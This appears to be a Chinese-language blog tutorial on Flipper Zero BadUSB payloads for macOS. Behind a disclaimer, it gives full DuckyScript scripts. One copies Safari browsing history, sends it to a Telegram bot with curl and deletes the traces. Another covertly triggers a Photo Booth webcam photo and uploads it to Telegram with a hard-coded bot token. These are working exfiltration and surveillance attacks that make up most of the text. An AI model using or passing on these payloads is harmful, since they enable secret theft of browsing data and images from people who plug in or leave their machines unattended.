請注意,透過 Flipper Zero 學習的資訊技術與知識,目的在於提升個人的技術能力和資安意識。我們強烈呼籲大家,絕對不要使用所學知識從事任何違法行為。您的合法使用是我們的期望,也是您自身責任的一部分。
Browser History
首先我們先來嘗試瀏覽紀錄,因為我跟身邊的朋友都比較常用 Mac 所以今天也會先以研究 Mac 為主。 首先我們先去找預設瀏覽器 Safari 的瀏覽紀錄放在哪裡,經過搜尋後發現在 /Users/$username/Library/Safari/History.db,我們把它複製到 /tmp/history.db 方便我們執行後續操作,然後用 sqlite3 執行 select url from history_items 到一個新的 txt,接著我們就把它傳給我們的 tg bot 然後刪除所有痕跡之後用 command + q 關掉 terminal。 結果在測試的時候發現我的 terminal 權限不夠會發生以下的錯誤:
1 2
╰─ sqlite3 ~/Library/Safari/History.db "SELECT url FROM history_visits JOIN history_items ON history_items.id = history_visits.history_item ORDER BY visit_time DESC LIMIT 10;" Error: unable to open database "/Users/kingkazma/Library/Safari/History.db": unable to open database file
REM Open Spotlight GUI SPACE DELAY 500 STRING iterm DELAY 500 ENTER DELAY 1000 GUI T DELAY 500
REM Define the username and copy the Safari history to a temporary file STRING export username=$(whoami) ENTER STRING cp /Users/$username/Library/Safari/History.db /tmp/history.db ENTER
REM Export history from the database to a plain text file STRING sqlite3 /tmp/history.db "select url from history_items" > /Users/$username/Desktop/safari_history.txt ENTER
REM Send the history file to Telegram STRING curl -s -X POST -F "chat_id=<your_chat_id>" -F document=@"/Users/$username/Desktop/safari_history.txt" https://api.telegram.org/bot<your_token>/sendDocument ENTER DELAY 1000
REM Clean up temporary files STRING rm /tmp/history.db ENTER STRING rm /Users/$username/Desktop/safari_history.txt ENTER
REM Open Spotlight GUI SPACE DELAY 500 REM Type 'iTerm' to open iTerm STRING iTerm DELAY 500 ENTER DELAY 1000 GUI T DELAY 500
REM Use AppleScript to activate Photo Booth and take a photo STRING osascript -e 'tell application "Photo Booth" to activate' -e 'delay 2' -e 'tell application "System Events" to keystroke return' -e 'delay 2' ENTER DELAY 3500 REM Wait for Photo Booth to take the photo and save it
REM Open Spotlight GUI SPACE DELAY 500 REM Type 'iTerm' to open iTerm STRING iTerm DELAY 500 ENTER DELAY 1000
REM Find the most recent Photo Booth photo STRING cd ~/Pictures/Photo\ Booth\ Library/Pictures/ ENTER DELAY 500 STRING latest_photo=$(ls -t | head -n1) ENTER DELAY 500
REM Send the photo to the Telegram bot STRING curl -s -X POST -F chat_id=<your_chat_id> -F photo=@\"$latest_photo\" https://api.telegram.org/bot7580842046:AAEKmOz8n3C265m2_XSv8cGFbBHg7mcnbMM/sendPhoto ENTER DELAY 5000
REM Optionally, close Photo Booth if you want to clean up after the action STRING osascript -e 'tell application "Photo Booth" to quit' DELAY 500 ENTER DELAY 500